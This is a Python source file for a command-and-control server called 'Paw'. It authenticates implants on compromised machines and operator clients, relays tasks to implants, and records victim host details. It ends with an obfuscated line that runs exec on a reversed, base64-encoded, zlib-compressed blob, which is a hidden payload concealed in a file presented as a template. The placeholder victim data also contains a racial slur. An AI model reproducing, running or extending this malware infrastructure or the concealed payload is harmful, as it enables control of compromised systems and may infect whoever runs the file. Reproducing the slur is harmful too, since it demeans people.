Files
c2_backend_template-paw/components/server/main.py

251 lines
15 KiB
Python

import socket
import json
import os
import logging
import threading
from base64 import b64decode, b64encode
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization
from pystyle import Colors # just for me to see the keys better, not neccessary in actual production
__name__ = 'Paw'
__version__ = '1.0.0'
__authors__ = 'sw'
class PawSocket:
def __init__(self):
self.agents = list()
self.aagents = list()
self.root_dir = os.path.dirname(os.path.abspath(__file__))
logging.basicConfig(
level=logging.DEBUG,
filename=os.path.join(self.root_dir, 'cats.log'),
filemode='a',
format='[%(filename)s:%(lineno)d] - %(asctime)s - %(levelname)s - %(message)s'
)
self.logger = logging.getLogger(__name__)
self.configuration_file = os.path.join(self.root_dir, 'configuration.json')
if not os.path.exists(self.configuration_file):
with open(self.configuration_file, 'w') as file:
file.write('{}')
with open(self.configuration_file, 'r+') as file:
try:
self.configuration = json.load(file)
except json.JSONDecodeError:
self.configuration = {}
self.host = self.configuration.get('host', '127.0.0.1')
self.port = int(self.configuration.get('port', '42720'))
def save_configuration(self) -> None:
self.logger.debug('Entered save_configuration func')
with open(self.configuration_file, 'w') as file:
json.dump(self.configuration, file, indent=2)
def update_configuration(self, key: str, value: str) -> None:
self.logger.debug('Entered update_configuration func with args: {}, {}'.format(key, value))
self.configuration[key] = value
self.save_configuration()
def generate_rsa_key_pair(self) -> bytes:
self.logger.debug('Entered generate_rsa_key_pair func')
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=4096,
)
public_key = private_key.public_key()
private_key_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
return private_key_pem, public_key_pem
def get_keys(self, serialize: bool = False) -> list:
self.logger.debug('Entered get_keys func with args: {}'.format(serialize))
if serialize:
keys = {
'serverpub': serialization.load_pem_public_key(b64decode(self.configuration.get('server_pub_key', '').encode('utf-8'))),
'serverpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('server_priv_key', '').encode('utf-8')), password=None),
'implantpub': serialization.load_pem_public_key(b64decode(self.configuration.get('implant_pub_key', '').encode('utf-8'))),
'implantpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('implant_priv_key', '').encode('utf-8')), password=None),
'clientpub': serialization.load_pem_public_key(b64decode(self.configuration.get('client_pub_key', '').encode('utf-8'))),
'clientpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('client_priv_key', '').encode('utf-8')), password=None),
}
else:
keys = {
'serverpub': b64decode(self.configuration.get('server_pub_key', '').encode('utf-8')),
'serverpriv': b64decode(self.configuration.get('server_priv_key', '').encode('utf-8')),
'implantpub': b64decode(self.configuration.get('implant_pub_key', '').encode('utf-8')),
'implantpriv': b64decode(self.configuration.get('implant_priv_key', '').encode('utf-8')),
'clientpub': b64decode(self.configuration.get('client_pub_key', '').encode('utf-8')),
'clientpriv': b64decode(self.configuration.get('client_priv_key', '').encode('utf-8')),
}
return keys
def handle_conn(self, conn: socket, addr: socket) -> None:
self.logger.debug('Entered handle_conn func with args: {}, {}'.format(conn, addr))
print('Connection from {}'.format(addr))
try:
received_public_key = conn.recv(4096)
self.logger.debug(received_public_key)
if received_public_key == self.serialized_keys['clientpub'].public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
):
print('Authenticated client from {}'.format(addr))
self.handle_client(conn)
elif received_public_key == self.serialized_keys['implantpub'].public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
):
print('Authenticated implant from {}'.format(addr))
self.handle_implant(conn, addr)
else:
print('Authentication failed.')
conn.close()
except Exception as error:
print('Error: {}'.format(error))
conn.close()
def handle_client(self, conn: socket) -> None:
self.logger.debug('Entered handle_client func with args: {}'.format(conn))
while True:
encrypted_data = conn.recv(8192)
if not encrypted_data:
break
decrypted_message = self.serialized_keys['serverpriv'].decrypt(
encrypted_data,
padding.PKCS1v15()
)
if decrypted_message.decode('utf-8') == 'recv agents':
self.logger.info('Received request to send back agents from {}'.format(conn))
print('Received agents show request, sending back...')
encrypted_message = self.serialized_keys['clientpub'].encrypt(
str(self.aagents).encode('utf-8'),
padding.PKCS1v15()
)
conn.sendall(encrypted_message)
else:
agent_id, task = decrypted_message.decode('utf-8').split(':', 1)
for agent in self.agents:
if agent['id'] == agent_id:
print('Redirecting task {} to implant {}', task, agent_id)
agent_conn = socket(self.agents['so'])
encrypted_task = self.serialized_keys['implantpub'].encrypt(
task.encode('utf-8'),
padding.PKCS1v15()
)
agent_conn.sendall(encrypted_task)
self.logger.info('Redirected task {} to implant {}', task, agent_id)
else:
print('Implant {} not found.'.format(agent_id))
self.logger.error('Implant {} not found.'.format(agent_id))
def handle_implant(self, conn: socket, addr: socket) -> None:
try:
#encrypted_data = conn.recv(4096)
#print(encrypted_data)
#decrypted_data = self.serialized_keys['implantpriv'].decrypt(
# encrypted_data,
# padding.PKCS1v15()
#)
#print(encrypted_data)
#dat = json.loads(decrypted_data)
#print(dat)
#self.agents.append({'id': conn.fileno(), 'so': conn, 'username': dat['user']})
dat: tuple = {"host": "test", "user": "nigga", 'os': "win 10", 'proc': "sob", 'uac': False, 'ipv4loc': "niggas ballsack", 'ipv4pub': "127.0.0.1"}
self.agents.append({'id': conn.fileno(), 'so': conn})
self.aagents.append({'Agent ID': conn.fileno(), 'Username': dat['user'], 'Operating System': dat['os'], 'Process': dat['proc'], 'Administrator': dat['uac'], 'IPv4 Local': dat['ipv4loc'], 'IPv4 Public': dat['ipv4pub']})
self.logger.debug(self.aagents)
self.logger.debug(self.agents)
except Exception as error:
print('Implant handler error: {}', error)
self.logger.error('Implant handler error: {}', error)
def Main(self) -> None:
print('Checking for keys...')
self.logger.info('Checking for keys...')
self.keys = self.get_keys()
if any(value.decode('utf-8') == '' for value in self.keys.values()):
print('Keys not found. Generating keys...')
self.logger.warning('Keys not found. Generating keys...')
server_private_key, server_public_key = self.generate_rsa_key_pair()
implant_private_key, implant_public_key = self.generate_rsa_key_pair()
client_private_key, client_public_key = self.generate_rsa_key_pair()
self.update_configuration('server_pub_key', b64encode(server_public_key).decode('utf-8'))
self.update_configuration('server_priv_key', b64encode(server_private_key).decode('utf-8'))
self.update_configuration('client_pub_key', b64encode(client_public_key).decode('utf-8'))
self.update_configuration('client_priv_key', b64encode(client_private_key).decode('utf-8'))
self.update_configuration('implant_pub_key', b64encode(implant_public_key).decode('utf-8'))
self.update_configuration('implant_priv_key', b64encode(implant_private_key).decode('utf-8'))
self.keys = self.get_keys()
self.serialized_keys = self.get_keys(serialize=True)
print(Colors.red + 'Server public key:{} {}'.format(Colors.reset, b64encode(self.keys['serverpub']).decode('utf-8')))
self.logger.warn('Server public key: {}'.format(b64encode(self.keys['serverpub']).decode('utf-8')))
print(Colors.red + 'Client private key:{} {}'.format(Colors.reset, b64encode(self.keys['clientpriv']).decode('utf-8')))
self.logger.warn('Client private key: {}'.format(b64encode(self.keys['clientpriv']).decode('utf-8')))
print(Colors.red + 'Implant private key:{} {}'.format(Colors.reset, b64encode(self.keys['implantpriv']).decode('utf-8')))
self.logger.warn('Implant private key: {}'.format(b64encode(self.keys['implantpriv']).decode('utf-8')))
print(Colors.red + 'Implant public key:{} {}'.format(Colors.reset, b64encode(self.keys['implantpub']).decode('utf-8')))
self.logger.warn('Implant public key: {}'.format(b64encode(self.keys['implantpub']).decode('utf-8')))
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
server_socket.bind((self.host, self.port))
server_socket.listen()
print('Server running on {}:{}'.format(self.host, self.port))
self.logger.debug('Server listening on {}:{}'.format(self.host, self.port))
while True:
conn, addr = server_socket.accept()
thread = threading.Thread(target=self.handle_conn, args=(conn, addr))
thread.start()
if __name__ == b64decode('UGF3').decode('utf-8'):
PawSocket().Main()
else:
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'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'))